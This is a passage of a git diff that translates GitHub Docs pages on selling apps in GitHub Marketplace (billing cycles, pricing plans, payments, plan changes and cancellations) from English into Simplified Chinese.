+- 所有图像必须具有相同的高度和宽度（宽高比），以避免用户切换图像时出现页面跳跃。
+- 显示尽可能多的用户界面，以便用户看到应用程序执行的操作。
+- 在浏览器中截取应用程序的屏幕时，仅包括显示窗口中的内容。 避免包括地址栏、标题栏或工具栏图标，它们不能很好地适应较小的屏幕尺寸。
+- GitHub 在应用程序登录页面的图框中显示您上传的屏幕截图，因此您无需在屏幕截图周围添加图框或边框。
+- 简短明快的字幕效果最好。
+
+![GitHub Marketplace 屏幕截图](/assets/images/marketplace/marketplace-screenshots.png)
diff --git a/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md b/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
index e7cd6e457d..7ace7357df 100644
--- a/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
+++ b/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/billing-customers.md
@@ -1,6 +1,6 @@
 ---
-title: Billing customers
-intro: 'Apps on {% data variables.product.prodname_marketplace %} should adhere to GitHub''s billing guidelines and support recommended services. Following our guidelines helps customers navigate the billing process without any surprises.'
+title: 向客户计费
+intro: '{% data variables.product.prodname_marketplace %} 上的应用程序应遵守 GitHub 的计费指南并支持推荐的服务。 遵循我们的指南可帮助客户顺利完成帐单流程。'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace
   - /apps/marketplace/selling-your-app/billing-customers-in-github-marketplace
@@ -12,38 +12,39 @@ versions:
 topics:
   - Marketplace
 ---
-## Understanding the billing cycle
 
-Customers can choose a monthly or yearly billing cycle when they purchase your app. All changes customers make to the billing cycle and plan selection will trigger a `marketplace_purchase` event. You can refer to the `marketplace_purchase` webhook payload to see which billing cycle a customer selects and when the next billing date begins (`effective_date`). For more information about webhook payloads, see "[Webhook events for the {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)."
+## 了解结算周期
 
-## Providing billing services in your app's UI
+客户在购买您的应用程序时可选择月度或年度结算周期、 客户对结算周期和计划选择所做的所有更改都将触发 `marketplace_purchase` 事件。 您可以参考 `marketplace_purchase` web 挂钩有效负载，以查看客户选择了哪个结算周期以及下一个计费日期 (`effective_date`) 何时开始 。 有关 web 挂钩有效负载的更多信息，请参阅“[{% data variables.product.prodname_marketplace %} API 的 web 挂钩事件](/developers/github-marketplace/webhook-events-for-the-github-marketplace-api)”。
 
-Customers should be able to perform the following actions from your app's website:
-- Customers should be able to modify or cancel their {% data variables.product.prodname_marketplace %} plans for personal and organizational accounts separately.
+## 在应用程序 UI 中提供帐单服务
+
+客户应该能够从您的应用程序网站执行以下操作：
+- 客户应该能够单独修改或取消其个人和组织帐户的 {% data variables.product.prodname_marketplace %} 计划。
 {% data reusables.marketplace.marketplace-billing-ui-requirements %}
 
-## Billing services for upgrades, downgrades, and cancellations
+## 升级、降级和取消的帐单服务
 
-Follow these guidelines for upgrades, downgrades, and cancellations to maintain a clear and consistent billing process. For more detailed instructions about the {% data variables.product.prodname_marketplace %} purchase events, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+请遵循以下升级、降级和取消指南，以维护清晰一致的帐单流程。 有关 {% data variables.product.prodname_marketplace %} 购买事件的详细说明，请参阅“[在应用程序中使用 {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)”。
 
-You can use the `marketplace_purchase` webhook's `effective_date` key to determine when a plan change will occur and periodically synchronize the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan).
+您可以使用 `marketplace_purchase` web 挂钩的 `effective_date` 键来确定计划何时发生更改，并定期同步[列出计划的帐户](/rest/reference/apps#list-accounts-for-a-plan)。
 
-### Upgrades
+### 升级
 
-When a customer upgrades their pricing plan or changes their billing cycle from monthly to yearly, you should make the change effective for them immediately. You need to apply a pro-rated discount to the new plan and change the billing cycle.
+当客户升级其定价计划或将其结算周期从每月更改为每年时，您应立即使更改对他们生效。 您需要对新计划应用按比例的折扣并更改结算周期。
 
 {% data reusables.marketplace.marketplace-failed-purchase-event %}
 
-For information about building upgrade and downgrade workflows into your app, see "[Handling plan changes](/developers/github-marketplace/handling-plan-changes)."
+有关为应用程序构建升级或降级工作流程的信息，请参阅“[处理计划更改](/developers/github-marketplace/handling-plan-changes)”。
 
-### Downgrades and cancellations
+### 降级和取消
 
-Downgrades occur when a customer moves to a free plan from a paid plan, selects a plan with a lower cost than their current plan, or changes their billing cycle from yearly to monthly. When downgrades or cancellations occur, you don't need to provide a refund. Instead, the current plan will remain active until the last day of the current billing cycle. The `marketplace_purchase` event will be sent when the new plan takes effect at the beginning of the customer's next billing cycle.
+当客户从付费计划转为免费计划、选择成本比其当前计划低的计划或将结算周期从每年更改为每月时，就会发生降级。 当降级或取消发生时，您不需要提供退款。 相反，当前计划将保持有效状态，直到当前结算周期的最后一天。 `marketplace-purpose` 事件将在客户的新计划生效，即下一个结算周期开始时发送。
+
+当客户取消计划时，您必须：
+- 自动降级到免费计划（如果有）。
 
-When a customer cancels a plan, you must:
-- Automatically downgrade them to the free plan, if it exists.
-  
   {% data reusables.marketplace.cancellation-clarification %}
-- Enable them to upgrade the plan through GitHub if they would like to continue the plan at a later time.
+- 让他们能够通过 GitHub 升级计划（如果他们以后想要继续订阅计划）。
 
-For information about building cancellation workflows into your app, see "[Handling plan cancellations](/developers/github-marketplace/handling-plan-cancellations)."
+有关为应用程序构建取消工作流程的信息，请参阅“[处理计划取消](/developers/github-marketplace/handling-plan-cancellations)”。
diff --git a/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md b/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
index b8325be8fc..c970d3f745 100644
--- a/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
+++ b/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/index.md
@@ -1,6 +1,6 @@
 ---
-title: Selling your app on GitHub Marketplace
-intro: 'Learn about requirements and best practices for selling your app on {% data variables.product.prodname_marketplace %}.'
+title: 在 GitHub Marketplace 上出售应用程序
+intro: '了解在 {% data variables.product.prodname_marketplace %} 上出售应用程序的要求和最佳实践。'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts
   - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing
@@ -17,6 +17,6 @@ children:
   - /pricing-plans-for-github-marketplace-apps
   - /billing-customers
   - /receiving-payment-for-app-purchases
-shortTitle: Sell apps on the Marketplace
+shortTitle: 在 Marketplace 上销售应用
 ---
 
diff --git a/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md b/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md
index 98d5bcce1c..fd9d734e6c 100644
--- a/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md
+++ b/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/pricing-plans-for-github-marketplace-apps.md
@@ -1,6 +1,6 @@
 ---
-title: Pricing plans for GitHub Marketplace apps
-intro: 'Pricing plans allow you to provide your app with different levels of service or resources. You can offer up to 10 pricing plans in your {% data variables.product.prodname_marketplace %} listing.'
+title: GitHub Marketplace 应用程序的定价计划
+intro: '定价计划允许您为应用程序提供不同级别的服务或资源。 您可以在 {% data variables.product.prodname_marketplace %} 上架信息中提供最多 10 个定价计划。'
 redirect_from:
   - /apps/marketplace/selling-your-app/github-marketplace-pricing-plans
   - /marketplace/selling-your-app/github-marketplace-pricing-plans
@@ -10,50 +10,51 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Pricing plans for apps
+shortTitle: 应用定价计划
 ---
-{% data variables.product.prodname_marketplace %} pricing plans can be free, flat rate, or per-unit. Prices are set, displayed, and processed in US dollars. Paid plans are restricted to apps published by verified publishers. For more information about becoming a verified publisher, see "[Applying for publisher verification for your organization](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)."
 
-Customers purchase your app using a payment method attached to their account on {% data variables.product.product_location %}, without having to leave {% data variables.product.prodname_dotcom_the_website %}. You don't have to write code to perform billing transactions, but you will have to handle events from the {% data variables.product.prodname_marketplace %} API. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+{% data variables.product.prodname_marketplace %} 定价计划可以是免费、统一定价或每单位定价。 价格以美元设置、显示和处理。 付费计划仅限验证的发布者发布的应用。 有关成为验证的发布者的更多信息，请参阅“[为组织申请发布者验证](/developers/github-marketplace/applying-for-publisher-verification-for-your-organization)”。
 
-If the app you're listing on {% data variables.product.prodname_marketplace %} has multiple plan options, you can set up corresponding pricing plans. For example, if your app has two plan options, an open source plan and a pro plan, you can set up a free pricing plan for your open source plan and a flat pricing plan for your pro plan. Each {% data variables.product.prodname_marketplace %} listing must have an annual and a monthly price for every plan that's listed.
+客户使用附加到其在 {% data variables.product.product_location %} 上帐户的付款方式购买您的应用程序，而不必离开 {% data variables.product.prodname_dotcom_the_website %}。 您不必编写代码来执行结算交易，但必须处理来自 {% data variables.product.prodname_marketplace %} API 的事件。 更多信息请参阅“[在应用程序中使用 {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)”。
 
-For more information on how to create a pricing plan, see "[Setting a {% data variables.product.prodname_marketplace %} listing's pricing plan](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)."
+如果您在 {% data variables.product.prodname_marketplace %} 中上架的应用程序有多个计划选项，您可以设置相应的定价计划。 例如，如果您的应用程序有两个计划选项：开源计划和专业计划，您可以为开源计划设置一个免费定价计划，为专业计划设置一个统一定价计划。 每个 {% data variables.product.prodname_marketplace %} 上架产品必须为列出的每个计划提供年度和月度价格。
+
+有关如何创建定价计划的更多信息，请参阅“[设置 {% data variables.product.prodname_marketplace %} 上架产品的定价计划](/marketplace/listing-on-github-marketplace/setting-a-github-marketplace-listing-s-pricing-plan/)”。
 
 {% data reusables.marketplace.free-plan-note %}
 
-## Types of pricing plans
+## 定价计划的类型
 
-### Free pricing plans
+### 免费定价计划
 
 {% data reusables.marketplace.free-apps-encouraged %}
 
-Free plans are completely free for users. If you set up a free pricing plan, you cannot charge users that choose the free pricing plan for the use of your app. You can create both free and paid plans for your listing.
+免费计划对用户完全免费。 如果您设置免费定价计划，则无法向选择免费定价计划的用户收取使用应用程序的费用。 您可以为上架产品同时创建免费和付费计划。
 
-All apps need to handle events for new purchases and cancellations. Apps that only have free plans do not need to handle events for free trials, upgrades, and downgrades. For more information, see: "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)."
+所有应用程序都需要处理新购买和取消事件。 仅含免费计划的应用程序无需处理免费试用、升级和降级事件。 更多信息请参阅“[在应用程序中使用 {% data variables.product.prodname_marketplace %} API](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)”。
 
-If you add a paid plan to an app that you've already listed in {% data variables.product.prodname_marketplace %} as a free service, you'll need to request verification for the app and go through financial onboarding.
+如果您向已作为免费服务在 {% data variables.product.prodname_marketplace %} 中上架的应用程序添加付费计划，则需要请求验证应用程序并完成财务手续。
 
-### Paid pricing plans
+### 付费定价计划
 
-There are two types of paid pricing plan:
+有两种类型的付费定价计划：
 
-- Flat rate pricing plans charge a set fee on a monthly and yearly basis.
+- 统一定价计划按月和按年收取固定费用。
 
-- Per-unit pricing plans charge a set fee on either a monthly or yearly basis for a unit that you specify. A "unit" can be anything you'd like (for example, a user, seat, or person).
+- 每单位定价计划按月或按年向您指定的单位收取固定费用。 “单位”可以是您愿意指定的任何对象（例如用户、席位或人员）。
 
-You may also want to offer free trials. These provide free, 14-day trials of OAuth or GitHub Apps to customers. When you set up a Marketplace pricing plan, you can select the option to provide a free trial for flat-rate or per-unit pricing plans.
+您可能还希望提供免费试用。 这些选项为客户提供为期 14 天免费试用 OAuth 或 GitHub 应用程序的机会。 设置 Marketplace 定价计划时，您可以选择为统一定价或每单位定价计划提供免费试用选项。
 
-## Free trials
+## 免费试用
 
-Customers can start a free trial for any paid plan on a Marketplace listing that includes free trials. However, customers cannot create more than one free trial per marketplace product.
+客户可以免费试用 Marketplace 上架产品中包含免费试用选项的任何付费计划。 但是，客户不能对一个 Marketplace 产品使用多次免费试用机会。
 
-Free trials have a fixed length of 14 days. Customers are notified 4 days before the end of their trial period (on day 11 of the free trial) that their plan will be upgraded. At the end of a free trial, customers will be auto-enrolled into the plan they are trialing if they do not cancel.
+免费试用的固定期限为 14 天。 客户在试用期结束前 4 天（免费试用期第 11 天）收到通知，他们的计划将升级。 在免费试用结束时，如果客户不取消，他们将自动注册到他们正在试用的计划中。
 
-For more information, see: "[Handling new purchases and free trials](/developers/github-marketplace/handling-new-purchases-and-free-trials/)."
+更多信息请参阅“[处理新购买和免费试用](/developers/github-marketplace/handling-new-purchases-and-free-trials/)”。
 
 {% note %}
 
-**Note:** GitHub expects you to delete any private customer data within 30 days of a cancelled trial, beginning at the receipt of the cancellation event.
+**注：**GitHub 希望您在取消试用后 30 天（从收到取消事件开始算起）内删除任何私人客户数据。 。
 
 {% endnote %}
diff --git a/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md b/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
index 37bfe4dd23..334dbc4b32 100644
--- a/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
+++ b/translations/zh-CN/content/developers/github-marketplace/selling-your-app-on-github-marketplace/receiving-payment-for-app-purchases.md
@@ -1,6 +1,6 @@
 ---
-title: Receiving payment for app purchases
-intro: 'At the end of each month, you''ll receive payment for your {% data variables.product.prodname_marketplace %} listing.'
+title: 接收应用程序购买的付款
+intro: '在每个月末，您将收到您的 {% data variables.product.prodname_marketplace %} 上架产品的付款。'
 redirect_from:
   - /apps/adding-integrations/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing
   - /apps/marketplace/managing-pricing-and-payments-for-a-github-marketplace-listing/receiving-payment-for-a-github-marketplace-listing
@@ -13,16 +13,17 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Receive payment
+shortTitle: 接收付款
 ---
-After your {% data variables.product.prodname_marketplace %} listing for an app with a paid plan is created and approved, you'll provide payment details to {% data variables.product.product_name %} as part of the financial onboarding process.
 
-Once your revenue reaches a minimum of 500 US dollars for the month, you'll receive an electronic payment from {% data variables.product.company_short %}. This will be the income from marketplace transactions minus the amount charged by {% data variables.product.company_short %} to cover their running costs.
+为含有付费计划的应用程序创建 {% data variables.product.prodname_marketplace %} 上架信息并得到批准后，您需要向 {% data variables.product.product_name %} 提供付款详细信息以完成财务手续。
 
-For transactions made before January 1, 2021, {% data variables.product.company_short %} retains 25% of transaction income. For transactions made after that date, only 5% is retained by {% data variables.product.company_short %}. This change will be reflected in payments received from the end of January 2021 onward.
+一旦您当月的收入达到最低 500 美元，您将收到 {% data variables.product.company_short %} 的电子付款。 此金额为 Marketplace 交易的收入减去 {% data variables.product.company_short %} 为顾及运营成本而收取的金额。
+
+对于 2021 年 1 月 1 日之前发生的交易，{% data variables.product.company_short %} 扣留交易收入的 25%。 对于该日期之后发生的交易，{% data variables.product.company_short %} 仅扣留 5%。 这一变化将反映在 2021 年 1 月底收到的付款中。
 
 {% note %}
 
-**Note:** For details of the current pricing and payment terms, see "[{% data variables.product.prodname_marketplace %} developer agreement](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)."
+**注：**有关当前定价和付款条款的详细信息，请参阅“[{% data variables.product.prodname_marketplace %} 开发者协议](/free-pro-team@latest/github/site-policy/github-marketplace-developer-agreement)”。
 
 {% endnote %}
diff --git a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
index bc5ef37804..c3475c090d 100644
--- a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
+++ b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-cancellations.md
@@ -1,6 +1,6 @@
 ---
-title: Handling plan cancellations
-intro: 'Cancelling a {% data variables.product.prodname_marketplace %} app triggers the [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) webhook with the `cancelled` action, which kicks off the cancellation flow.'
+title: 处理计划取消
+intro: '取消 {% data variables.product.prodname_marketplace %} 应用程序将触发 [`marketplace_purchase` 事件](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) web 挂钩，挂钩中带有可启动取消流程的 `cancelled` 操作。'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts/cancelling-plans
   - /apps/marketplace/integrating-with-the-github-marketplace-api/cancelling-plans
@@ -11,25 +11,26 @@ versions:
   ghec: '*'
 topics:
   - Marketplace
-shortTitle: Plan cancellations
+shortTitle: 计划取消
 ---
-For more information about cancelling as it relates to billing, see "[Billing customers in {% data variables.product.prodname_marketplace %}](/apps//marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace)."
 
-## Step 1. Cancellation event
+有关与计费相关之取消的更多信息，请参阅“[在 {% data variables.product.prodname_marketplace %} 中向客户计费](/apps//marketplace/administering-listing-plans-and-user-accounts/billing-customers-in-github-marketplace)”。
 
-If a customer chooses to cancel a {% data variables.product.prodname_marketplace %} order, GitHub sends a [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhook with the action `cancelled` to your app when the cancellation takes effect. If the customer cancels during a free trial, your app will receive the event immediately. When a customer cancels a paid plan, the cancellation will occur at the end of the customer's billing cycle.
+## 步骤 1. 取消事件
 
-## Step 2. Deactivating customer accounts
+如果客户选择取消 {% data variables.product.prodname_marketplace %}，则在取消生效时，GitHub 会向您的应用程序发送带有操作 `cancelled` 的 [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) web 挂钩。 如果客户在免费试用期间取消，您的应用程序将立即收到此事件。 如果客户取消付费计划，则取消将在客户结算周期结束时生效。
 
-When a customer cancels a free or paid plan, your app must perform these steps to complete cancellation:
+## 步骤 2. 停用客户帐户
 
-1. Deactivate the account of the customer who cancelled their plan.
-1. Revoke the OAuth token your app received for the customer.
-1. If your app is an OAuth App, remove all webhooks your app created for repositories.
-1. Remove all customer data within 30 days of receiving the `cancelled` event.
+当客户取消免费或付费计划时，您的应用程序必须执行以下步骤才能完成取消：
+
+1. 停用取消计划的客户的帐户。
+1. 撤消您的应用程序为客户接收的 OAuth 令牌。
+1. 如果您的应用程序是 OAuth 应用程序，则删除应用程序为仓库创建的所有 web 挂钩。
+1. 在收到 `cancelled` 事件后的 30 天内删除所有客户数据。
 
 {% note %}
 
-**Note:** We recommend using the [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhook's `effective_date` to determine when a plan change will occur and periodically synchronizing the [List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan). For more information on webhooks, see "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)."
+**注：**我们建议使用 [`marketplace_purchase`](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) web 挂钩的 `effective_date` 来确定计划更改何时生效，并定期同步[列出计划的帐户](/rest/reference/apps#list-accounts-for-a-plan)。 有关 web 挂钩的更多信息，请参阅“[{% data variables.product.prodname_marketplace %} web 挂钩事件](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)”。
 
 {% endnote %}
diff --git a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
index 34142dbb37..dfaa999146 100644
--- a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
+++ b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/handling-plan-changes.md
@@ -1,6 +1,6 @@
 ---
-title: Handling plan changes
-intro: 'Upgrading or downgrading a {% data variables.product.prodname_marketplace %} app triggers the [`marketplace_purchase` event](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/) webhook with the `changed` action, which kicks off the upgrade or downgrade flow.'
+title: 处理计划更改
+intro: '升级或降级 {% data variables.product.prodname_marketplace %} 应用程序将触发 [`marketplace_purchase` 事件](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events) web 挂钩，挂钩中带有可启动升级或降级流程的 `changed` 操作。'
 redirect_from:
   - /apps/marketplace/administering-listing-plans-and-user-accounts/upgrading-or-downgrading-plans
   - /apps/marketplace/integrating-with-the-github-marketplace-api/upgrading-and-downgrading-plans
@@ -12,54 +12,55 @@ versions:
 topics:
   - Marketplace
 ---
-For more information about upgrading and downgrading as it relates to billing, see "[Integrating with the {% data variables.product.prodname_marketplace %} API](/marketplace/integrating-with-the-github-marketplace-api/)."
 
-## Step 1. Pricing plan change event
+有关与计费相关之升级和降级的更多信息，请参阅“[与 {% data variables.product.prodname_marketplace %} API 集成](/marketplace/integrating-with-the-github-marketplace-api/)”。
 
-GitHub send the `marketplace_purchase` webhook with the `changed` action to your app, when a customer makes any of these changes to their {% data variables.product.prodname_marketplace %} order:
-* Upgrades to a more expensive pricing plan or downgrades to a lower priced plan.
-* Adds or removes seats to their existing plan.
-* Changes the billing cycle.
+## 步骤 1. 定价计划更改事件
 
-GitHub will send the webhook when the change takes effect. For example, when a customer downgrades a plan, GitHub sends the webhook at the end of the customer's billing cycle. GitHub sends a webhook to your app immediately when a customer upgrades their plan to allow them access to the new service right away. If a customer switches from a monthly to a yearly billing cycle, it's considered an upgrade. See "[Billing customers in {% data variables.product.prodname_marketplace %}](/marketplace/selling-your-app/billing-customers-in-github-marketplace/)" to learn more about what actions are considered an upgrade or downgrade.
+当客户对其 {% data variables.product.prodname_marketplace %} 订单进行以下任何更改时，GitHub 会将带有 `changed` 操作的 `marketplace_purchase` web 挂钩发送到您的应用程序：
+* 升级到更昂贵的定价计划或降级到价格较低的计划。
+* 在其现有计划中增加或删除席位。
+* 更改结算周期。
 
-Read the `effective_date`, `marketplace_purchase`, and `previous_marketplace_purchase` from the `marketplace_purchase` webhook to update the plan's start date and make changes to the customer's billing cycle and pricing plan. See "[{% data variables.product.prodname_marketplace %} webhook events](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)" for an example of the `marketplace_purchase` event payload.
+更改生效时，GitHub 将发送 web 挂钩。 例如，当客户降级计划时，GitHub 会在客户的结算周期结束时发送 web 挂钩。 当客户升级其计划以便立即访问新服务时，GitHub 会立即向您的应用程序发送 web 挂钩。 如果客户从月度结算周期切换到年度结算周期，则视为升级。 有关哪些操作被视为升级或降级，请参阅“[在 {% data variables.product.prodname_marketplace %} 中向客户计费](/marketplace/selling-your-app/billing-customers-in-github-marketplace/)”。
 
-If your app offers free trials, you'll receive the `marketplace_purchase` webhook with the `changed` action when the free trial expires. If the customer's free trial expires, upgrade the customer to the paid version of the free-trial plan.
+从 `marketplace_purchase` web 挂钩读取 `effective_date`、`marketplace_purchase` 和 `previous_marketplace_purchase`，以更新计划的开始日期，并更改客户的结算周期和定价计划。 有关 `marketplace_purchase` 事件有效负载的示例，请参阅“[{% data variables.product.prodname_marketplace %} web 挂钩事件](/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/)”。
 
-## Step 2. Updating customer accounts
+如果您的应用程序提供免费试用，则在免费试用到期时您将收到带有 `changed` 操作的 `marketplace_purchase` web 挂钩。 如果客户的免费试用到期，则将客户升级到免费试用计划的付费版本。
 
-You'll need to update the customer's account information to reflect the billing cycle and pricing plan changes the customer made to their {% data variables.product.prodname_marketplace %} order. Display upgrades to the pricing plan, `seat_count` (for per-unit pricing plans), and billing cycle on your Marketplace app's website or your app's UI when you receive the `changed` action webhook.
+## 步骤 2. 更新客户账户
 
-When a customer downgrades a plan, it's recommended to review whether a customer has exceeded their plan limits and engage with them directly in your UI or by reaching out to them by phone or email.
+您需要更新客户的帐户信息，以反映客户对其 {% data variables.product.prodname_marketplace %} 订单所做的结算周期和定价计划更改。 当您收到 `changed` 操作 web 挂钩时，您的 Marketplace 应用程序的网站或应用程序的 UI 上会显示定价计划、`seat_count`（对于每单位定价计划）和结算周期的升级。
 
-To encourage people to upgrade you can display an upgrade URL in your app's UI. See "[About upgrade URLs](#about-upgrade-urls)" for more details.
+当客户降级计划时，建议查看客户是否超出了计划限制，然后直接在您的 UI 中与他们互动，或者通过电话或电子邮件与他们联系。
+
+要鼓励用户升级，您可以在应用程序的 UI 中显示升级 URL。 更多信息请参阅“[关于升级 URL](#about-upgrade-urls)”。
 
 {% note %}
 
-**Note:** We recommend performing a periodic synchronization using `GET /marketplace_listing/plans/:id/accounts` to ensure your app has the correct plan, billing cycle information, and unit count (for per-unit pricing) for each account.
+**注：**建议您使用 `GET /marketplace_listing/plans/:id/accounts` 进行定期同步，以确保您的应用程序具有每个帐户的正确计划、结算周期信息和单位计数（对于每单位定价）。
 
 {% endnote %}
 
-## Failed upgrade payments
+## 升级付款失败
 
 {% data reusables.marketplace.marketplace-failed-purchase-event %}
 
-## About upgrade URLs
+## 关于升级 URL
 
-You can redirect users from your app's UI to upgrade on GitHub using an upgrade URL:
+您可以使用升级 URL 将用户从应用程序的 UI 重定向到 GitHub 上的升级页面：
 
 ```
 https://www.github.com/marketplace/<LISTING_NAME>/upgrade/<LISTING_PLAN_NUMBER>/<CUSTOMER_ACCOUNT_ID>
 ```
 
-For example, if you notice that a customer is on a 5 person plan and needs to move to a 10 person plan, you could display a button in your app's UI that says "Here's how to upgrade" or show a banner with a link to the upgrade URL. The upgrade URL takes the customer to your listing plan's upgrade confirmation page.
+例如，如果您发现某个客户需要从 5 人计划转换到 10 人计划，您可以在应用程序 UI 中显示一个“升级指南”按钮，或者显示包含升级 URL 链接的横幅。 升级 URL 可将客户带到您的上架产品计划的升级确认页面。
 
-Use the `LISTING_PLAN_NUMBER` for the plan the customer would like to purchase. When you create new pricing plans they receive a `LISTING_PLAN_NUMBER`, which is unique to each plan across your listing, and a `LISTING_PLAN_ID`, which is unique to each plan in the {% data variables.product.prodname_marketplace %}. You can find these numbers when you [List plans](/rest/reference/apps#list-plans), which identifies your listing's pricing plans. Use the `LISTING_PLAN_ID` and the "[List accounts for a plan](/rest/reference/apps#list-accounts-for-a-plan)" endpoint to get the `CUSTOMER_ACCOUNT_ID`.
+对客户想要购买的计划使用 `LISTING_PLAN_NUMBER`。 当您创建新的定价计划时，他们会收到 `LISTING_PLAN_NUMBER`（对于您的上架产品中每个计划而言是唯一的）和 `LISTING_PLAN_ID`（对于 {% data variables.product.prodname_marketplace %} 中每个计划而言是唯一的）。 当您[列出计划](/rest/reference/apps#list-plans)时，可以找到这些编号，它们用于标识上架产品的定价计划。 使用 `LISTING_PLAN_ID` 和“[列出计划的帐户](/rest/reference/apps#list-accounts-for-a-plan)”端点获取 `CUSTOMER_ACCOUNT_ID`。
 
 
 {% note %}
 
-**Note:** If your customer upgrades to additional units (such as seats), you can still send them to the appropriate plan for their purchase, but we are unable to support `unit_count` parameters at this time.
+**注：**如果您的客户升级到更多单位（例如席位），您仍然可以将他们送到适合其购买的计划中，但我们目前无法支持 `unit_count` 参数。
 
 {% endnote %}
diff --git a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
index 074d42544b..f9a15ef588 100644
--- a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
+++ b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/index.md
@@ -1,6 +1,6 @@
 ---
-title: Using the GitHub Marketplace API in your app
-intro: 'Learn how to integrate the {% data variables.product.prodname_marketplace %} API and webhook events into your app for the {% data variables.product.prodname_marketplace %} .'
+title: 在应用程序中使用 GitHub Marketplace API
+intro: '了解如何将 {% data variables.product.prodname_marketplace %} API 和 web 挂钩集成到用于 {% data variables.product.prodname_marketplace %} 的应用程序中。'
 redirect_from:
   - /apps/marketplace/setting-up-github-marketplace-webhooks
   - /apps/marketplace/integrating-with-the-github-marketplace-api
@@ -17,6 +17,6 @@ children:
   - /handling-new-purchases-and-free-trials
   - /handling-plan-changes
   - /handling-plan-cancellations
-shortTitle: Marketplace API usage
+shortTitle: Marketplace API 使用
 ---
 
diff --git a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md b/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
index 8a02a458a7..d371534d0b 100644
--- a/translations/zh-CN/content/developers/github-marketplace/using-the-github-marketplace-api-in-your-app/rest-endpoints-for-the-github-marketplace-api.md
